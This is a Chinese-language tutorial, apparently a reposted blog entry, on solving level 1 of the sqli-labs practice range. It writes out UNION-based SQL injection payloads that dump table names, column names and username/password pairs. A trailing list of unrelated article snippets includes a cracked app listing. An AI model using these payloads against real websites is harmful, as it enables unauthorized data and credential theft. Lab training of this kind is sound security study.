Sql-labs的第一关

前言

我们在使用Sql-libs靶场进行Sql注入实验的时候,前提要求我们对mysql数据库结构要有一个大概的了解,因为mysql5.0以上的版本都会自带一个名为information_schema的数据库,这个数据库下面会有columns和tables两个表。
tables这个表的table_name字段下面包含了所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库,了解了这些后会对我们进行Sql注入的时候有很大的帮助。

一、Sql注入的原理是什么?

用户在访问web界面的时候,web程序对用户所输入的数据的合法性没有进行判断或者过滤不严格,攻击者可以利用这个漏洞,在web程序中将事先定义好的查询语句的结尾上插入额外的Sql语句,在管理员不知情的情况下实现非法操作,以此来欺骗数据库并查询自己所需要的信息,比如:用户的密码和账号等

二、Sql的注入过程

在这里插入图片描述

1.Sql-lis第一关

判断是否存在sql注入?

1.提示我们输入id,输入?id=1,在数据库中查询到如下字段
在这里插入图片描述
2.通过输入的id的值不同,我们发现返回的内容会不同
在这里插入图片描述
3.判断注入的类型,是否为拼接,并且是字符型还是符号型
我们可以输入?id=1\,通过加 \ 的方式判断闭合,\后面的符号就是闭合符号,见页面出现错误,即位字符型
在这里插入图片描述
输入?id=1‘ 报错
在这里插入图片描述
在上述字段后加入–+,显示正常,说明是单引号 ’ 闭合
在这里插入图片描述
4.判断字段数
输入’ order by 3 --+,可见正常
输入’ order by 4–+ 报错,说明只有三个字段
在这里插入图片描述
在这里插入图片描述
5.联合查询7
因为字段数为3,所以使用 union select 1,2,3进行查询 ,判断回显点
在这里插入图片描述
我们可以将上述语句的2或者3改成database()来显示数据库名
在这里插入图片描述
6.联表查询,爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述
7.爆字段名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
8.爆字段中的内容
根据上一步爆出的字段名usernmae,password进行查询即可

union select 1,2,group_concat(username,password) from users

在这里插入图片描述
至此第一关就结束了,第二关与第一关的步骤相同,不同的是第二关是数字型注入

总结

	Sql注入要求我们对数据库的结构要有一个大概的了解,这要就能更容易去操作!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/849938.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3-1RT-Thread时钟管理

这里写自定义目录标题 时钟节拍是RT thread操作系统的最小时间单位。 第一个功能,rt tick值自动加1,在RT thread当中通过RT_USING_SMP定义了多核和单核的场景。第二个功能,检查当前线程的时间片,首先获取当前线程,将当…

Vitis HLS 学习笔记--初始化与复位

目录 1. 简介 2. 控制初始化与复位 2.1 初始化 2.2 复位 2.3 全局复位选项 2.4 复位排除 3. 阵列初始化和复位 3.1 不使用 static 限定符 3.2 使用 static 限定符 3.3 BRAM 和 URAM 4. 总结 1. 简介 本文对比分析两个方面的初始化和复位:阵列和控制&…

Java采取擦除式泛型到底兼容了什么场景?

在开始前刚好我有一些资料,是我根据网友给的问题精心整理了一份「 Java的资料从专业入门到高级教程」, 点个关注在评论区回复“888”之后私信回复“888”,全部无偿共享给大家!!!Java擦除式泛型是一个妥协,…

美颜相机「BeautyCam」v12.0.80 祛广告解索会员版(美妆相机功能,展现女神魅力)

软件介绍 美颜相机,一款由知名移动互联网企业Meitu Inc.开发的移动设备照片编辑与美化应用,起初主要针对娱乐消费市场,随后集成了商业营销功能。目前,它已跻身全球最受欢迎的手机摄影应用程序之列。在中国,美颜相机和…

JAVA高级-反射与动态代理(十五)

观看尚硅谷视频做的视频笔记 一、高级-反射与动态代理(十四) 1、反射概述 1)java程序中,所有的对象都有两种类型:编译时类型,运行时类型,而很多时候对象的编译类型和运行时类型不一致。 此处…

workerman error 2 send buffer full and drop package

来源 报错信息:workerman error 2 send buffer full and drop package 定时发送数据的时候,本地偶尔出现这种情况 线上第一条数据发出去就报错了,数据改小一点可以发,不过一会还是会出现这种情况。 解决 根据我的经验&#xf…

SAP HCM OPT函数作用

导读 INTRODUCTION OPT函数:SAP HCM工资核算是很多函数的汇总集,原有有兴趣问过SAP的人为什么SCHEMA需要这样设计,SAP的人说是用汇编的逻辑设计的,当时是尽可能用机器语言加速速度读取,每个函数都有对应的业务逻辑代码…

React实战(一)初始化项目、配置router、redux、axios

(一)初始化项目 1.安装项目 npx create-react-app 项目名 编译报错: 解决办法:安装最新的babel-preset-react-app npm install babel-preset-react-applatest 2.配置项目 (1)配置文件目录 (2)使用craco配置webpack.config npm install craco/crac…

Coze入门指南:创建Bot时,如何写好人设与回复逻辑(Persona Prompt)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 Coze Bot 📒📝 Persona & Prompt🌟 # Character🌟 ## Skills🌟 # Overall Rules to follow🌟 ## Workflow🌟 ## Constraints📝 通用写法与模板📝 示例🌟技巧和注意事项⚓️ 相关链接 ⚓️📖 介绍 📖…

免费使用GPT-4生成图片的方法

写在前言 hello,大家好,我是一点,喜欢编程,目前持续在关注AI领域的发展,希望可以结交一些有意思的朋友。 大家可以关注我的公号:【一点sir】,了解更多文章,希望可以和你们成为朋友…

OpenCompass 大模型评测平台C-Eval 基准任务评估实战

1. 引言 在人工智能迅速发展的今天,大型语言模型(LLMs)在多个领域展现出了巨大的潜力和应用价值。然而,如何评价这些模型的性能,了解它们的优缺点,成为了一个重要课题。OpenCompass,一个由上海…

使用Cython编译Python源码加密加速,有这一篇就够了!

0 前言 python是一门脚本语言,运行时由python虚拟机解释执行。当我们使用python设计好算法给第三方使用时只能提供源码,任何运行我们算法的人都可以看到源码以及对应的算法思路。因此,需要一定手动保护源码。 最简单的保护方式是使用代码混…

高光谱图像聚类的像素-超像素对比学习与伪标签校正

Pixel-Superpixel Contrastive Learning and Pseudo-Label Correction for Hyperspectral Image Clustering 文章目录 Pixel-Superpixel Contrastive Learning and Pseudo-Label Correction for Hyperspectral Image Clustering摘要引言相关方法对比学习 方法超像素对比学习像素…

【嵌入式】智能系统优化:【C++】驱动的【机器学习】与【数据挖掘】技术

目录 一、嵌入式系统简介 二、C在嵌入式系统中的优势 三、机器学习在嵌入式系统中的挑战 四、C实现机器学习模型的基本步骤 五、实例分析:使用C在嵌入式系统中实现手写数字识别 1. 数据准备 2. 模型训练与压缩 3. 模型部署 六、优化与分析 1. 模型优化 模…

什么时候用C而不用C++?

做接口只用C,千万别要C。C是编译器敏感的,一旦导出的接口里有 std::string这些东西,以及类,注定了要为各个编译器的各个版本准备独立的库。 刚好我有一些资料,是我根据网友给的问题精心整理了一份「C的资料从专业入门…

Gitlab---添加描述模版

0 Preface/Foreword Gitlab是代码托管平台,DevOps。因其免费,被广泛使用。GitLab不但可以管理代码,也可以管理issue,创建milestone等等。针对issue管理,支持描述模版功能,即对于新建的issue,可…

深度网络学习笔记(二)——Transformer架构详解(包括多头自注意力机制)

Transformer架构详解 前言Transformer的整体架构多头注意力机制(Multi-Head Attention)具体步骤1. 步骤12. 步骤23. 步骤34. 步骤4 Self-Attention应用与比较Self-Attention用于图像处理Self-Attention vs. CNNSelf-Attention vs. RNN Transformer架构详…

【第11章】SpringBoot实战篇之文章(下)含条件分页

文章目录 前言一、文章列表查询1. ArticleController2. ArticleService 二 、文章查询1. ArticleController2. ArticleService 三、文章更新1. ArticleController2. ArticleService 四、文章删除1. ArticleController2. ArticleService 五、文章列表查询(条件分页)1.ArticleCon…

医疗器械网络安全风险管理的基本步骤

医疗器械网络安全风险管理是一个复杂的过程,涉及到多个环节和步骤。以下是一些基本的步骤和关键点: 风险识别:首先需要对医疗器械的软件、网络连接和通信协议等进行漏洞分析,识别潜在的安全漏洞和弱点。这可能涉及对设备的渗透测…

MbedTLS源码跨平台编译(window/macos/linux)

1.window平台编译: 克隆: git clone --recursive https://github.com/Mbed-TLS/mbedtls.git 克隆成功 添加OpenSSL环境变量 验证环境 使用cmake编译 cmake ../生成配置时出错 出现上面原因是克隆下来的library与programs及tests目录少文件了,直接下载zip包替换library目录